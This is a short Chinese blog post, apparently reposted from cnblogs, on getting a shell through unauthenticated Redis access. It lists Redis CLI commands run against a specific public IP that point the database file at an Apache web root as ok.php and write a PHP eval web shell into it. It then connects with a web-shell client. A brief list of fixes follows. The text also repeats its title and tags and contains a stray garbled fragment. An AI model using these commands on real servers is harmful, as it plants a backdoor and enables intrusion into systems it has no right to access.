redis未授权访问getshell

标签：test   ted   部署   int   conf   dbf   shel   html   dir   

1、找到站点部署目录

/usr/local/apache/htdocs//3、/3、

2、登陆redis设置目录
redis 61.191.56.216:6379> config set dir /usr/local/apache/htdocs/

OK

redis 61.191.56.216:6379> config set dbfilename ok.php

OK

redis 61.191.56.216:6379> set test "<?php @eval($_POST[123]);?>"

OK

redis 61.191.56.216:6379> save

OK


3、菜刀连接


修复方案：

1）禁止使用 root 权限启动 redis 服务；
2）对 redis 访问启用密码认证，并且添加 IP 访问限制；
3）尽可能不对公网直接开放 SSH 服务。




apt-get install redis-server

redis未授权访问getshell

标签：test   ted   部署   int   conf   dbf   shel   html   dir   

原文地址：http://www.cnblogs.com/yuleitest/p/7120447.html